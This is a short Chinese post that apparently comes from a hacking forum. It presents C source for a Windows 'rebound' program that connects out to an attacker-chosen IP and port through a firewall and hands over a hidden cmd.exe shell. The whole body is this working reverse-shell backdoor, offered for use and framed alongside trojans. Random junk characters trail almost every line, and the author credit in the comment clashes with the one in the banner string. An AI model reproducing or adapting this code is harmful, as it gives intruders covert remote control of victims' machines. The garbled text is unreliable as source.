这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |<`.fOxJP
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/* ============================== `7+j0kV)
Rebound port in Windows NT 9
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By wind,2006/7 %8)W0WMe
===============================*/ Qn:kz*:
#include PzZZ>7_6S
#include Y&*x4&Lb
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#pragma comment(lib,"wsock32.lib") rS*$rQCr=
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void OutputShell(); 2.Yi(r
SOCKET sClient; HFo-4"
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; +VU4s$w6
u>.y:>
void main(int argc,char **argv) 0nW F
{ 99OD=pxQ
WSADATA stWsaData; 7Bz*r0 9S
int nRet; ~VTs:h
SOCKADDR_IN stSaiClient,stSaiServer; X6RQqen3:
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if(argc != 3) Qu%D
{ Di Or{)a
printf("Useage:\n\rRebound DestIP DestPort\n"); 6'OO-o
return; },+~F8B
} #T~&]|{,
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WSAStartup(MAKEWORD(2,2),&stWsaData); X1A<$Am1
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Ulqh@CE)
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stSaiClient.sin_family = AF_INET; $E(XjuS
stSaiClient.sin_port = htons(0); _qWC4NMF(
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Y:x/!-
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) q]<xMg#nu
{ ,
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printf("Bind Socket Failed!\n"); */ OI*{Q
return; %85Icg
} :#="%
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stSaiServer.sin_family = AF_INET; |$hgT K[L
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); I__ 4I{nI
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,#'7)M D8
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) m-1?\bs
{ ua
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printf("Connect Error!"); GVd48 *
return; Jp;k+"<q
} +nZRi3yu=
OutputShell(); BIWD/|LQ
} qeaA&(|5
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void OutputShell() O|v
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{ eZF'Ck y
char szBuff[1024]; -!*p*3|03|
SECURITY_ATTRIBUTES stSecurityAttributes; zTCP)x
OSVERSIONINFO stOsversionInfo; D\]&8w6&
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; FMu!z
STARTUPINFO stStartupInfo; "dN< i
char *szShell; !Qu PG/=X
PROCESS_INFORMATION stProcessInformation; K6pw8
unsigned long lBytesRead; t6u-G+}
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {^&@gkYY
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &v#`t~
stSecurityAttributes.lpSecurityDescriptor = 0; :d'65KMi
stSecurityAttributes.bInheritHandle = TRUE; K&pM o.
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 85>S"%_
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); EI`vVI
3-Y=EH_0
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Sa]Ek*
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gM_:l
stStartupInfo.wShowWindow = SW_HIDE; {HZS:AV0
stStartupInfo.hStdInput = hReadPipe; zS%
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 9[>Lp9l'
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GetVersionEx(&stOsversionInfo); ySruAkw%
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switch(stOsversionInfo.dwPlatformId) ;9rTE|n
{ jmW^`%;7
case 1: ~Q!~ eTw
szShell = "command.com"; fykI,!
break; tSw>@FM
default: d 7i#w
#
szShell = "cmd.exe"; rycJyiw<-
break; S|2VP8xY9
} G:Hj;&'2
{'(ej5,6
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \JU ~k5j
h=f6~5l5
send(sClient,szMsg,77,0); +rQg7a}
while(1) +>E5X4JC
{ !d4HN.a7+u
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); T8q[7Zn
if(lBytesRead) 5 LMj!)3
{ iwz`
x
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }=pOiILvD
send(sClient,szBuff,lBytesRead,0); `!kL1oUYE
} 7x+=7,BZd
else FuMq|S
{ U(A4v0T
lBytesRead=recv(sClient,szBuff,1024,0); 9 x [X<
if(lBytesRead<=0) break; -M`D>
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); CveWl$T12
} /Hk07:"c
} ;E2kT
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{_ 6t4h}
return; =dn1}
}